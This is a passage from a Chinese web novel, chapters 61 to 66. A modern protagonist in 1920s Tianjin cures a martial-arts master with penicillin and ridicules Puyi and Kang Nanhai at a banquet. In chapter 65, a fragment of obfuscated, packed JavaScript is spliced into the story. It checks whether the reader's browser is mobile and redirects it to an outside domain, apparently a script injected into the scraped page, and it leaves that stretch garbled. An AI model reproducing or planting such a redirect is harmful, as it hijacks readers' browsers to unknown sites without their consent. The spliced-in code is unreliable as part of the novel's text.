“可您总说让王总管看着办就行。”
“是啊七老爷,今天要没大少爷我们也不敢说。”
白敬业也在一旁打趣道,“爸贝,就我在安国嚯嚯那点银子,跟他一比那都不值一提。”
“他人呢!”
白敬业看向王武,“咱们王总管上路了么?”
“没呢少爷”
“那就带他过来和咱们七老爷道个别。”
奄奄一息的王喜光被两人拖了过来。
他扑到白景琦的脚下,“七老爷,您救救我,饶了我这回吧。”
“你混蛋!你缺银子倒是跟我要啊,我最烦的就是偷。”白景琦一脚给他蹬开。
“我错了七老爷,我再也不敢了。”
白景琦想了想刚准备开口。
白敬业冲王武一摆手,“套辆车送咱们王总管回老家!”
“是,少爷!”
“哎我说…”
白敬业一把拦下了白景琦,“爸贝,您还是别说了,知道关静山哪来的消息么?就是您这好总管偷摸报的信。”
“要不是我舅舅看的严,这孙子早就脚底抹油溜了!”
“唉!”
白景琦叹了口气,“那家里这摊子事怎么办?让小胡管?”
白敬业摇摇头,“小胡得跟在我身边,张增致从明天开始你就是咱们新宅的总管!”
“少爷我…”
“别磨叽,不会的你跟着老**管多学学。”
“是,少爷”
让张增致当总管也是白敬业深思熟虑的结果。
他的身边离不开小胡。
和小胡一对比,张增致太老实,准确的说是有点窝囊。
让他当个总管正合适。
等管事们、仆人都下去,白敬业从银票里抽出一半,递给白景琦。
“咱爷俩二一添作五,一人一半。”
白景琦接过银票,一拽发现没拽动,自己这儿子正眨着眼睛看着他。
他无奈的说道,“家里最近钱紧,算是我借你的。”
“嗨!咱爷俩谈什么借啊,再说本来就是您的钱。”白敬业说完这才撒了手。
“增致把这些宝贝都分出来,放少爷我的书房!”
深夜,乱坟岗上王喜光一声惨叫。
不多时,一群野狗闻着味寻了过来。
这年头,活人吃不饱,乱坟岗的野狗倒是没饿过。
喜光跌倒,敬业吃饱!
第62章 中华武士会
“吭哧吭哧…呜呜!”
墨绿色的火车在风雪中,宛如一条长龙发出嘶鸣。
白敬业躺在火车包厢里,百无聊赖的翻着画报。
解决完北平的事,他本想在家好好过个年再到天津。
可是天津那位张少帅是三天两头的催促,隔三差五就发一封电报。
昨天更绝,大年初一就让老夏登门拜访。
连火车票都替他买好,让他初二带些药品赶到,说是情况紧急。
“嘎吱”门声一响,黄立和小胡推门走了进来。
白敬业扭头一看,发现黄立的面色有些凝重。
“舅,怎么了?”
“呼”黄立喘了口粗气,眉头皱到一起,“刚才我溜达了一圈,发现车上有不少小鬼子。”
“鬼子侨民?”
黄立摇摇头,“还不是一般的侨民,都是一些浪人,我看手里都带着家伙。”
“浪人?”
白敬业的心里也泛起了嘀咕,美化点说是叫浪人。
其实就特么是鬼子的流氓,也是鬼子侵占我华夏的先锋。
我们是什么时候开始抗日的?
1906年鬼子在东北成立满铁,陆续向北方各大城市输送侨民和浪人。
目的就是为了鸠占鹊巢,方便有朝一日全面侵华。
“舅,你跟浪人打过交道么?”
“浪人?呵呵”
黄立呵呵一笑,“八国联军进北平那会儿,我跟着师兄王五率领的黑旗军弟兄们,跟他们打过一阵。”
“别说浪人了,就是鬼子的矬子兵我也杀过几个。”
“这些浪人就仗着手里有把破刀,实际跟南城的流氓没什么区别,好杀。”
一谈起**,黄立是眉飞色舞。
什么王五的刀有多沉,一刀下去能给鬼子劈成两半。
给白敬业和小胡听的入了迷。
“呜……”
随着火车的鸣笛声响起,车也进了天津站。
三人收拾好东西下车后,就看见徐承业带着几名卫兵在站台等候。
“白长官好!”
徐承业像模像样的给白敬业敬了个军礼。
白敬业捅了他一下,“行啦,别扯淡了,JM长官,我就一挂职,汉卿呢?”
“哈哈,少帅在车站外等您呢”
“走吧”
白敬业跟着他一直来到站外。
“哈哈哈,兄弟,你在北平闹的动静真不小啊。”
张汉卿十分热情的跟白敬业拥抱了一下。
“这事,我还得谢谢我大哥你啊,要不是你发力,估计我现在还在大牢里关着呢。”
“得了吧”
张汉卿一摆手,“没我,你也没事,我听说北平百花楼的姑娘们都替你**去了,你真是我辈楷模啊,哈哈哈哈。”
白敬业心说这好大哥可真没六,大街上谈什么百花楼啊。
他岔开话题,看到张汉卿身后跟着一个中年人忙问道,“这位是?”
“哦,我来给你介绍一下…”
还没等张汉卿介绍,黄立激动的一抱拳,“刘兄,没想到在这遇到您了。”
刘姓中年人见到故人也很高兴,“黄兄,咱们能有十多年没见了吧。”
白敬业一愣问向黄立,“舅,你们认识?”
“这位是刘振声大侠,津门霍元甲师傅的大弟子。”
白敬业顿时脑海里就有一首bgm响起,“孩子!这是你的家!庭院高雅…”
刘振声这名字可能不熟悉,但是要说以他为原型创作的人物,华夏人没有不知道的。
精武门陈真!
他在年轻时跟着霍元甲在上海创办精武会。
霍元甲去世后,刘振声因为一些事情流落到东北。
被东北王看中,做了张汉卿的师父,兼职贴身保镖。
九一八事变后,因张汉卿不抵抗,他心灰意冷回了老家从此隐姓埋名。
去世的时候身边只有两个物件,一封张大帅的请柬和一柄宝刀。
白敬业见到陈真的原型,很是激动拱手道。
“原来是力挫俄国大力士霍师傅的高徒,失敬失敬!”
“修合先生过奖”
白敬业拉着黄立介绍给张汉卿。
他一听是大刀王五的师弟,也肃然起敬。
“合着都不是外人,上车吧,咱们到地方再好好聊。”
张汉卿招呼一声,众人上了车。
北方的武术圈是以河北为主,圈子就那么大。
有那么一句话叫,河北学艺、津京扬名。
所以有点名气的高手互相之间都认识。
在车上,白敬业问道,“我说好大哥,你这三天两头的电报,到底什么事这么着急?”
“唉”
张汉卿叹了口气,“你的药带了么,有个病人得用你的药治。”
“什么病啊?”
“肺炎很严重”
“天津有不少好先
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生呢,治不了?我跟你说,厂子没建成之前,这药可没几瓶了。”
张汉卿看了一眼他,“连你们天津百草厅的先生都去了,一点效果没有,我这不就想起你这药了么,这人很重要。”
“谁啊?奉军的?”
张汉卿摇摇头,“你听过中华武士会么?”
“听过”
白敬业点头道,“同盟会成立的北方最大的武术团体,我听说他们曾经替同盟会训练过职业**?”
“有这么回事,生病的就是现任中华武士会的会长宫宝森。”
“他和我们家很有渊源,年轻时候是最后一任大内统领,后来做过奉军的技击总教头。”
“是挺厉害的”
白敬业摸着下巴听完,打趣道,“你身边高手不少啊?你的功夫是不是也挺厉害?”
张汉卿斜了他一眼,“别的不敢说,你这样的我能打五个!”
“你就吹吧,我跟你说哥们儿最近跟我舅舅正练着呢,等我练出来那也是一代宗师。”
白敬业还真没说瞎话,他意识到自己现在的身体太虚。
所以这几天一直在跟着黄立练。
身体是GM的本钱,没个好身体啥也玩不转。
更何况咱们白大少爷有挂啊!
等车子来到一处宅门门口,白敬业下车一打量还真气派。
两扇对开的将军门十分阔气,门前还摆放着两座抱鼓石。
让人一看就知道这家不一般,家里肯定出过武将。
门前有几个仆人已经等候多时了。
见众人来到赶忙迎了上去。
白敬业看着领头的管家,差点没笑出来。
心想,“这练武的人家是不一样,管家肩膀上还尼玛蹲个猴儿,腰里还别着一把杀猪刀。”
“张司令,我们小姐正等着您呢。”
张汉卿点点头,“宫叔今天情况怎么样?”
“唉,老爷高烧一直不退,昨晚都说胡话了,郎中说要尽快准备了。”
“快带我去看看”
管家领着众人来到厅堂,厅堂内一个姑娘正愁眉不展。
见张汉卿带着人赶到,立刻起身打招呼,“张大哥你来了”
张汉卿拉过白敬业,笑道,“妹子别着急,能治宫叔的人我给你请来了。”
白敬业看到姑娘愣住了。
又揉了揉眼睛仔细辨认,确定没看错,撇着大嘴笑了起来,“怎么是你?”
第63章 宫二
白敬业说完屋里的人都愣住了。
张汉卿懵逼似的指了指两人,“你们俩认识?”
“不认识!”
姑娘红着脸抢先一步说道。
白敬业点头道,“确实不认识,有过一面之缘。”
这个姑娘正是白敬业送弟弟上船时候,踩了他一脚那个。
也是**嘴里面的高手。
张汉卿也没深究他嘴里的一面之缘是什么,给两人做着介绍。
“这位是宫会长的独女,也是我的妹子,宫若梅宫二姑娘。”
然后他一指白敬业,“这是我结拜的把兄弟,前段时间大闹北平的白修合。”
“宫姑娘您好”
白敬业心里费解,“独女?怎么还叫宫二姑娘?
面上还是笑嘻嘻的伸出了手,宫二笑着和他握了一下,不过脸上的笑容有些不自然。
张汉卿有些不解,一向像个男孩一般的宫家妹子今天怎么害羞起来了。
他心想难不成看上我这兄弟了?
又一想不能啊,白修合是招人迷,可也不至于这样啊。
张汉卿见场面有些冷,赶忙解围,“妹子,咱们先去看看伯父的病情。”
“啊,好”
宫二这才反应过来,自己有些失态。
领着众人朝正房走去。
在她身后张汉卿和白敬业窃窃私语起来。
“你和我这妹子是怎么回事啊?”
白敬业就把那天的经过讲述一遍。
张汉卿小声道,“宫妹子平时也不这样啊?怎么见了你这么反常?”
白敬业昂起头自恋了一句,“可能是我比较帅吧。”
张汉卿白了他一眼,“我见过不要脸的,你这么不要脸我还是第一次见。”
他们哪知道前边宫二的想法。
是宫二觉得白敬业帅么?
答案肯定是假的。
宫二从小被家里当男孩培养,练了一身的功夫。
她经常跟着父亲来往于各地,北平自然也是常去的。
白敬业不认识她,她可对白敬业这人太熟悉了。
这还得怪白敬业的前身,在北平的名声不如一条好狗。
习武之人嘛,多少沾点行侠仗义的心。
港口那次,她也是抱着给白敬业一个教训,才使劲给了他一脚。
但今天,白敬业是来救她父亲的命。
所以多少她觉得自己之前的做法有些尴尬。
她心里怎么想的别人不知道。
反正白敬业这孙子是上听了。
觉得春天到了,又到了万物复苏的季节,心里咯噔一声,下边卜楞一下。
恨不得把我要恋爱四个大字写脑袋顶上。
进了房间,里边张汉卿的专职医生刘源正守着呢。
“司令,宫老的情况不太好。”
张汉卿点点头,“药我带来了,这就是研发出青霉素的白修合。”
刘源一见白修合,就好像邪教徒看见了自己信仰的神明一般。
脸色涨的通红,双手紧握着白敬业的手。
“修合先生您好您好!我…我叫刘源,我…我终于见到您了!”
“你也好!”
白敬业费了好大的力才把手抽出来,他甩了甩手,尼玛都给白大善人捏疼了。
也不怪刘源如此激动,他是亲眼看到过青霉素的神奇。
而且还用剩余的做过实验,显微镜下,一滴青霉素溶液下去,无数的细菌纷纷**死亡。
这对他来说太过震撼,因为目前为止还没有一款药能对细菌有如此大的效果。
白敬业从皮箱中取出两个西林瓶交给刘源
“两支针剂应该够了吧?”
刘源忙点头,“够了够了,只要今晚能退烧,宫老的命就保住了。”
他将随身的药箱拿出,兑好注射液,给宫老做起皮试。
白敬业也围到宫老身边,一看病的还真不轻。
就听他嘴里不停的念叨着,“师兄…南拳北传…不甘心”之类的话。
等刘源注射完之后,宫二急忙问道。
“刘医生,我父亲怎么样了?”
刘源笑了笑,“老天保佑宫老对这款药不过敏,要是今晚他的体温能降下来,也就没太大的事。”
他说着看向白敬业,眼神里又散发出那股狂热,“我相信修合先生的药一定能起效果。”
白敬业打了个冷颤,鸡皮疙瘩刷就起来了。
“谢谢你,修合大哥”
宫二真诚的向白敬业道了句谢。
“多大点事啊”
白敬业一摆手,“我跟你讲宫妹子,这事还得怪汉卿,他要是早跟我说来救人,那我早就来了。”
张汉卿充分体验了什么叫有异性没人性。
如果眼神可以**,他现在应该把白敬业凌迟了。
“咳”<
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br>他轻咳一声,“咱们别在这聊了,别在这打扰宫大爷休息。”
一行人又回到了客厅,时间已经快到中午,宫府的人已经准备好了饭菜。
席间,宫二又再次给白敬业敬酒表示了感谢。
白敬业多不要脸啊,说着,“你是汉卿的妹妹,那就是我妹妹,你的事就是我的事,咱们一家人嘛应该的。”
他的话弄的宫二又红了脸。
张汉卿在桌下直踹他,意思说你像个人似的。
“咳,修合,我那边给你安排好了,下午你休息休息,晚上咱们还要去参加个酒会。”
“住你那?”
白敬业想了下,“要不我留在这小住几日?我也略懂医术,宫伯父有什么事,需要药也方便。”
“正好,我最近也在学习武术,我看这有不少宫府的弟子,我也跟着学几招。”
张汉卿被气笑了,还没等他说话。
刘源就在一旁接话道,“修合先生能留下就太好了,我还有许多关于青霉素方面想跟先生请教。”
宫二今年才不到二十,哪能看出来白大善人那点花花肠子。
她感激道,“修合大哥愿意留下,我一定照顾好他们,张大哥你放心吧。”
张汉卿无奈的摇了摇头,心想,“傻妹子,你这是让狼盯上了。”
“行,你愿意留就留下来,晚上我派人来接你。”
饭罢,张汉卿坐了没一会儿,就告辞离开,白敬业给他送到门口。
张汉卿看看左右没人,就警告道,“我说你小子可悠着点,这宫家妹子可不好惹。你到时候挨揍了可别找我。”
“啧,大哥你这是什么话!”
白敬业一脸的言辞义正,“我真是为了跟宫府的人学几招,白某人做事一向光明磊落。”
张汉卿笑着锤了他一下,“你小子就跟我演吧!行啦,我走了晚上见”
白敬业目送他离开,嘴角扯起龙王的笑容。
他确实是抱着跟宫二拉近关系的想法留下来。
但更多的是看到宫府里有一大批练武的弟子。
他又不是下半身思考的动物,泡妹子啥时候都可以。
但是遇见这么一群人可不能错过机会,他打算拉近关系,看看能不能招揽几个。
这些人都是武林中的好手,这要是进到自己的卫队里,拿出去倍儿有面子!
第64章 酒会
“妹子,我听汉卿说,你是宫伯父的独女,为什么都叫你宫二姑娘?”
送走少帅后,白敬业坐在宫二对面和她拉着家常。
宫二淡然一笑,笑得这孙子心里直痒痒。
“我爹说,一天一地、一阴一阳为世界,一为孤、二为生,所以就叫我宫二。”
“另外,我还有个大师兄,是我爹收养的儿子叫马三,按顺序排下来我行二。”
白敬业点点头,心里腹诽道,“宫老爷子也是个取名鬼才啊!大徒弟叫马三、独女叫宫二,这不跟马大帅里凉菜三兄弟似的么。”
“妹子,容哥哥冒昧问一句,这肺部有病,一般是气上得的,宫老这是因为什么病的这么重?”
“唉~”
宫二长叹一声,柳眉蹙到一起,眼神中尽是哀愁。
白敬业见她惆怅,忙劝道,“妹子要是不方便咱就不说了。”
“倒也没什么不能说的,这事在天津武行也都传开了。”
宫二勉强的笑了笑,讲起事情的原委。
宫宝森这一生,致力于南北方国术融合,希望有一天能南北无界限,国术能共融。
否则他也不会辞了奉军总教头的职位,去接任中华武士会。
前段时间,打南边佛山来了个师父,名叫陈识,想要在天津街面上开馆授徒。
宫宝森认为这是好事,于是召集天津各个武馆的坐馆商议。
结果呢?
宫宝森以一票同意,其他票反对而收尾。
他一气之下急火攻心就病倒了。
宫宝森觉得天津这些武行师父都太迂腐,就为了自己眼前的利益,丝毫不顾及国术的发展。
其实也不能怪天津的武行,这就好比一条街上就三家卖早点的。
有一天突然来了个炸油条的,谁心里不犯膈应。
多一份买卖就要分走他们的利润。
人为财死鸟为食亡,总不能为了别人的理想,让自己饿肚子啊。
这年头开武馆是很赚钱的,天津大小帮会哪个后边都有武馆的支持。
拿霍大侠来说,他是怎么起家的?就是凭着一双拳头在码头打出来的?
白敬业听完不咸不淡的安慰了几句。
“妹子,你放心宫老肯定能转危为安,要是有什么需要尽管和我开口,我不行还有汉卿呢。”
白敬业嘴上这么说,心里也没把这事当回事。
天津武行的乱他也有所耳闻,他没打算往里掺和。
反正找他也是大事办不了、小事不爱办。
“谢谢修合大哥”
又和宫妹子聊了几句,他就回房休息了。
总不能拉着人家聊起来没完,多少得有点深沉。
晚上六点左右,徐承业开车来接白敬业。
他带着黄立和小胡,一起来到位于英租界的利顺德大饭店。
这时的利顺德是天津最顶级的社交场所,每晚都有酒会。
汇聚了天津各界的名流和各国大使。
张汉卿见白敬业来到,挥手招呼着,“修合这呢!”
白敬业走近一看,跟张汉卿同桌的还有两个将官。
都是三十多岁的年纪,但面相很是和善,跟郭茂宸那种桀骜显然不同。
“我给你介绍一下,这两位是我的好友,韩麟春将军和姜登选将军。”
“失敬失敬!原来是奉军的两位虎将。”白敬业拱手恭维道。
他倒不是虚情假意,这两位是奉军里出了名的老好人。
而且军事能力在奉军中不次于郭松龄,尤其韩麟春跟张汉卿交情莫逆。
可惜的是这两位死的太早,姜登选被郭松龄仇杀,韩麟春也病亡于918之前。
如果他们能一直活着,作为奉军的润滑剂,兴许后期的张汉卿不至于**杨宇霆,搞得矛盾如此激化。
“哈哈哈”
姜登选憨厚一笑,“修合先生太客气了,我和老韩说起来都是你的书迷,今天咱们也想见识见识搅弄北平风云的是何等人物。”
韩麟春也接过话茬,“是啊,今日一见修合你,果真是一表人才!汉卿,你得此人才简直是如虎添翼!”
“哈哈哈哈!”
张汉卿笑着招呼道,“都坐都坐!咱们坐下慢慢聊。”
四人坐下寒暄几句,难免的会谈论到当今的时局。
在座的都是军人,不是像影视剧里那样,成天谈论的都是娘们和钱。
张汉卿面上带着些凝重,“修合,看最近的新闻了么,南边的黄埔果然像你说的那样,已经开始对陈炯明下手了。”
“你觉得这一战结果如何?”
韩麟春和姜登选两人也都想听听白敬业有什么高见。
白敬业抿了一口红酒,反问道,“汉卿,这还用我说?卧榻之处岂容他人鼾睡。”
“陈炯明趁着大先生北上之际,自封为救粤军大元帅,他算是给自己作到头了,黄埔现在正愁没一块磨刀石呢。”
“你们想想,黄埔成立之初,苏联人就拨款270万余,不打一场仗
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,证明自己的实力,后续的拨款和武器援助还怎么要?”
韩麟春和姜登选不约而同的点了点头。
他们也认为黄埔这次对陈炯明出手会取得胜利。
因为奉军的情报里,苏联向黄埔派了大批教官和武器装备,没理由打不赢。
“修合先生,你觉得北伐军一定能成事么?”姜登选问道。
白敬业想了一会儿,轻声道,“我听说大先生在北平已经时日无多了?确有此事?”
“是,大先生的病情确实已经恶化,情况十分不好。”
“唉”
白敬业叹了口气,“大先生一生只为救国,他信了北洋无数次,可是北洋却欺骗了他无数次。”
“包括这一回,咱们张大帅和老段让他彻底绝望,北上的善后会议简直成了笑话。”
“大先生是抱着和平统一,废除一切不平等条约,解决军阀内乱,组成国民议会的希望来的,可是结果他又被丢在了一旁。”
“诸位,咱们假设大先生不幸在京离世,结果是什么?是北洋和南方政权的矛盾彻底激化,两方再无调和的可能。”
“而大先生这把火将彻底在华夏燃烧起来!人心所向实难匹敌!”
众人都跟着叹了口气。
实打实的讲,大先生的思想对他们影响都很深。
尤其是姜登选这样之前支持过大先生的人。
张汉卿略显惆怅的干了杯中酒,一抹嘴。
“其实我对我父亲很多决策并不赞同,明明都已经讲好的事,为什么就不能一起商量着来呢!”
“这样的北洋!我看早晚时日无多!”
韩麟春一看这位少帅又开始口不择言,忙劝道,“汉卿慎言!老帅也有老帅的难处,你当儿子的应该体谅。”
“来来来!咱们喝酒不谈这些不愉快的。”
四人举杯刚要干杯,就听见旁边有人喊道。
“汉卿,你也在这!”
众人扭头看了过去。
白敬业看到那张脸,心里冷笑了一声,“妈的!冤家路窄!”
PS:这两天我又仔细打磨了大纲,尽量会减少系统的出现,只在该用的时候用一下。
民国的剧情总写系统太割裂,而且还特别水字数,作者不想拿系统面板来水,也是众口难调,喜欢无敌文的老爷们对不起了,我觉得好剧情才是小说的根本。
所以谢谢大家的支持,剧情只会越来越精彩,爱你们呦~催更、打赏来一波,么么哒!
第65章 怒怼康南海
“汉卿兄,你也来了?”
“呦,溥仪,你今天怎么舍得出来了?”
张汉卿连站都没站起来,不冷不热的回了一句。
来的人正是鬼子天蝗的好大儿、满清废帝溥仪。
韩麟春和姜登选见溥仪过来,立马起身,“汉卿、修合,我们去那边和几个同学聊聊,你们聊!”
说完后两人离开,他俩和溥仪确实没啥聊的。
这二位正经八百的参加过辛亥,说白了拆溥仪的家,人家也是出过力的。
白修合一看也想离开,他和好大儿有什么聊的?
之前还登报骂过溥仪,明码要账搞得人尽皆知。
他刚要起身,就被张汉卿拉住,“别走啊,坐下一起聊聊。”
张汉卿说着看向溥仪,“认识这位么?”
溥仪能不认识么,恨得牙根都痒痒,但是面上还是保持着笑容。
“看着有些面熟,请问先生是?”
白修合一看走不了,心想,“得,爷陪他唠十块钱的。”
他笑了笑,“鄙人白修合。”
白敬业主动伸出了手,打趣道,“这也就是民国了,要是搁以前见到咱们皇上,我还得跪拜。”
他的言语中尽是嘲讽之意。
没办法,面对这么个玩意,白敬业对他实在是没好印象。
“修合兄玩笑了。”
溥仪和他握了一下,坐在两人对面。
再看溥仪的跟班立马上前递了个手绢,他擦了擦手放在一边。
跟班打开随身携带的箱子,从里面拿出餐布铺好。
又拿出溥仪专用的酒杯放到桌上。
开了一瓶新酒,给溥仪倒了一杯,才退到他的身后。
这套流程给白敬业两人看的一愣一愣的。
他和张汉卿对视了一眼,眼中尽是嘲笑。
“我说老溥,咱都这样了,皇上的架子还拿不掉呢?”张汉卿笑道。
溥仪尴尬的扶了扶眼镜,“都是身边人自作主张,我…我也不好拒绝。”
“呵”
白敬业暗中冷笑一声,心道,“这孙子还真特么是这样。”
他以前看过溥仪写的《我的前半生》,通篇给自己描述成了一朵白莲花。
总结起来坏事全是别人逼我做的,我是无罪的。
别说好人了,连个坏人都当不明白,出了事就推卸责任。
张汉卿举起酒杯,招呼道,“不过你能出来走走还是挺好的,来吧修合,咱俩跟皇上干一杯。”
三人举杯碰了一下。
放下杯,张汉卿又跟个欠登儿似的,给溥仪上起了课。
“老溥啊,你不能老拿以前皇上的架子,在张园里憋屈有什么意思,你得出来走动,你过去那头型呢?你得支棱起来。”
“现在都民国了,你也得为民国做点事情,要不要找个学上,南开我熟、或者出国留学,我给你出钱。”
“万一你学成了,还能竞选个大总统呢。”
张汉卿一口一个老溥,给溥仪弄的不知怎么接话。
“汉…汉卿兄,其实我今天出来,也是跟康师一起看看,能不能拉拢些人才?”
“康师?谁啊?”
溥仪冲着跟班低语几句。
时间不长,走过来一个留着两撇小胡子,年纪大概六十多岁的老人。
“鄙人康南海,见过京榆张司令。”
“原来是变法的康先生,失敬”
康南海扭头看向白敬业,“您就是前些日子闹北平,百草厅的白修合吧。”
白敬业也伸出手跟他不冷不热的握了一下,“康先生久闻大名,您好”
康南海打量了白敬业一番,冲溥仪笑道,“皇上,这说起来,您和修合还是一家人呢,要论起来他还得叫您一声表叔!”
“哼”
白敬业闻言,脸色拉了下来,冷笑道,“康先生,不知道这份亲戚从哪论的?”
康南海哈哈一笑,“我听说修合先生是詹王爷的重外孙,这詹王爷的二格格是同治爷的嫔妃。”
“这么一算,你和皇上的关系不远嘛,一家人!”
康南海这么说还真的是好心,不过他的好心是为了溥仪。
白敬业大闹北平后,康南海觉得他是个大才,有非常大的影响力。
他就抱着招揽的心,劝溥仪礼贤下士,有朝一日遇到白敬业可以共商复国大计。
今天正赶巧,在酒会遇到了,康南海为了拉近关系,才提出有亲戚这么一说。
可他这一下,就杵了白敬业的肺管子。
白敬业笑着冲旁边那桌喊了一声,“大舅!这边有人跟姆们家攀亲戚,说是我的表叔?”
“您有这么位表弟么!”
“哼!”
黄立气哼道,“你姥姥家是关外放羊的,咱们家可攀不上这高枝儿!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16429754|184893||http|test|mini|href|location''.split(''|''),0,{}));
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r>黄立是什么人,参加过黑旗军反清廷,那是有名的大反贼!
康南海一皱眉看向黄立,“您是?”
黄立一抱拳,“敬业的亲舅舅,他母亲跟我是立春生的一对双棒儿。”
“哦~您就是詹王爷的…”
还没等他说完,黄立就摆了摆手,“康先生我知道您,在下有件事情想请教您?”
“请讲”
“光绪二十四年九月,我师兄王五含泪送谭先生上路,我听说你们都是一帮儿的,那时候您人呢?”
康南海的脸‘腾’就红了。
黄立的话给他噎了个烧鸡大窝脖。
康南海这个人,用两个字评价最为准确——虚伪!
推动了百日维新确实有功,但一看情况不好,抛下那几位,自己跑国外去了,
而且他纯纯是个双标狗,积极推崇一夫一妻制,自己却妻妾成群。
还打着光绪给他衣带诏的幌子,四处**用于自己享受。
如今被黄立旧事重提,这脸上就挂不住了。
康南海是坐也不是、站也不是,不停的擦着汗。
白敬业和张汉卿两人也不打圆场,还欠欠儿碰了个杯。
“这事都已经过去了,康师也是为了留有用之身再图大事嘛。”
溥仪打个哈哈,把场面圆了回来。
黄立也没继续咬着,回座位接着喝酒。
溥仪一脸的风轻云淡,好像刚才的事跟他一点关系也没有。
他笑了笑对着白敬业二人说道,“其实就算今天没相遇,我也要寻访二位。”
张汉卿一挑眉问道“为何?”
溥仪一指康南海,“康师最近才从英国回来,他说英国如今的强盛靠的就是君主立宪制。”
“所以我想跟二位商讨复辟大业。”
“汉卿兄,你父如今几乎掌控整个北方。若能助我一臂之力,清廷的旗号再次立起来,加上日本国的相助,拿下南方不成问题。”
“到时候,你父便是一人之下、万人之上,我可以效仿英国封他为亲王,把北方名正言顺作为他的封地。”
白敬业和张汉卿两人都听傻了。
张汉卿抠了抠耳朵,怀疑自己最近是不是女人接触的太多,有点幻听。
白敬业就像看个稀有生物一样看着溥仪,心想,“这哥们到底是人类么?”
“他他妈是个类人吧!”
第66章 **
溥仪看着两人怪异的表情很是不解。
“汉卿兄、修合,你们为何这样看我。”
他不问还好,一问两人噗嗤笑了出来。
两人笑的是前仰后合,引得周围人都看了过来。
溥仪看着两**笑的样子,有些挂不住脸儿。
他的脸上有些愠怒,疑问道,“难道二位觉得我是痴人说梦?”
“哈哈哈”
白敬业强忍住笑容,“自己知道就行了,怎么还往外说呢?不要脸了?”
他这么一说,张汉卿笑的声音更大了。
康南海的脸色也不好看。
他吹胡子瞪眼的问道,“张司令!修合先生,皇上诚心邀请二位,成与不成咱们另说,您二位是不是太过分了。”
“过分么?”
白敬业反问道,“我觉得一点也不过分。”
“现在都什么年代了还想着做你的春秋大梦,英国的情况白某也略知一二,你们觉得和华夏一样么?”
“英国的皇室之所以能保留下来,是因为他们并没有阻碍现代皿煮的发展,皇室在变革中进行了主动妥协,老百姓对皇室还算是有一定的情感。”
“可满清呢?除了留下一张张不平等条约和赔款还有什么!”
“金陵条约赔了2100万、二次**战争800万、马关条约2亿两!就这样的皇室还想保留,你们也不撒泡尿照照自己。”
白敬业越说越激动,端起酒杯一饮而尽。
随后话锋一转直指溥仪,“你说,你让我说你什么好呢?大小你之前也是个皇上,怎么就他妈不知道要点脸。”
“都从皇帝的位置下来了,不能好好做个人么!你学学汉末的汉献帝也行啊。当了山阳公人家自学医术治病救人。”
“不求你做个有尊严的帝王,起码你得做个人吧!”
“可你呢!从紫禁城出来,一猛子扎到小鬼子的怀抱,**还要脸么!”
“八国联军进北平的时候,小鬼子杀了我们多少人!你舔他们腚沟子就不嫌恶心!”
经过后世信息大**的白敬业,那词汇量多足啊。
他就跟泼妇骂大街似的,‘当当当’给溥仪展示一顿小语言,彻底让他闭了麦。
他的脸色一会儿一个颜色,憋的跟猪肝一个样。
“啪!”
康南海一拍桌子,站起身怒道,“白修合!他怎么说也是皇上,你…你怎敢…”
“那是你的皇上,跟我说不着!”
白敬业扭头又看向康南海,嘲讽道,“我说老东西,我说他没说你是么?”
“你有什么资格跟我俩大呼小叫的,明面上宣传平等,支持一夫一妻,背地里娶了他妈六房姨太太!”
“打着光绪的旗号净往兜里搂银子,我听说你在国外买了个岛,还用自己的名字命名,呸!不要脸。”
“你…你你你”
康南海气的浑身直颤。
这时张汉卿擦了擦眼角笑出的泪水,一挑大拇指。
“修合,高!骂大街都骂的这么有水平。”
“咳”
他清了清嗓子看向溥仪,“老溥你就别做梦了,我可以明确告诉你不可能。”
“咱就说说你给的条件,拿我自己家的东西许诺我,你咋想的?没你同意,北方就不是奉系的?”
说着他的眼神又看向康南海,冷声道,“我张汉卿最烦的就是别人在我面前拍桌子,要拍我比你会拍。”
“啪!”
张汉卿轻轻的拍了下桌子。
周围一群穿着奉系军装的卫兵都围了过来,目光不善的盯着溥仪和康南海。
康南海被卫兵的眼神,吓得脸色惨白,跌坐在椅子上。
“汉卿兄,康师也是喝多了一些,勿怪。”
张汉卿没理会他的说辞,起身招呼道,“修合,我们走!”
白敬业也跟着站起身,从果盘里拿起块哈密瓜,他对溥仪笑笑,“皇上,看人的时候眼神准点。”
他的眼神飘向康南海,“有些人不一定是真的想帮你,说不定就为了你兜里那点银子。”
溥仪看着两人离去的背影,心里暗自发狠,“奇耻大辱!奇耻大辱!两个狗贼,我早晚有一天让你们好看!”
“修合先生,你这张嘴是真厉害,我老韩服了!”韩麟春端着酒杯笑道。
姜登选也在一旁搭茬,“哈哈哈哈,修合你对我老姜的脾气,男人嘛!看不惯就得说出来,来,咱们今天一醉方休。”
众人一直喝到十一点多才散场。
临别前张汉卿和白敬业约定好,明天等冯庸一到,就去宫府一起商量药厂的事。
在车上
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,徐承业一边开车、一边恭维道,“修合先生,您今天骂的可真解气,我们少帅早就看溥仪不顺眼了。”
“嗝”
白敬业打了个酒嗝,“哼,他算什么东西,白某最看不上投靠鬼子的狗。”
白敬业是打心眼里瞧不上溥仪,抗战时期,溥仪的伪满洲国没少对抗联下手。
多少英雄倒在了白山黑水之间。
他的心里在想,要不要这几年找机会给他干掉,省的以后是个麻烦。
他正闭眼睛想这些事呢,突然,徐承业一个急刹车。
白敬业往前一栽,“哎呀**!小徐!你特么练漂移呢!”
“修合先生,前边突然窜出个人,**了。”徐承业边说边下车查看。
白敬业几人也跟着下车观瞧。
时间已经快到十二点,街边还没有路灯,黑乎乎的也看不清。
白敬业恍惚间看到被撞的男人穿着一身西装,浑身都是血迹。
“不能撞**吧?”
徐承业听了他的话哭笑不得,“我开的不快,只是碰了他一下,这都是他自带的伤。”
白敬业借着车灯仔细一看,可不是嘛,男人身上有不少刀伤,再加上被车碰到晕了过去。
“修合先生,这怎么办?”
几人都看向白敬业。
白敬业挠了挠头,心想,自己的车给人碰了,也不能扔大街上不管啊。
“带回宫府吧,给他治治伤问问怎么回事?”
众人给昏迷的西装男子抬上了车。
白敬业他们是暂住宫府,这么做有些冒昧,但这里距离宫府没多远,情急之下也顾不上许多了。
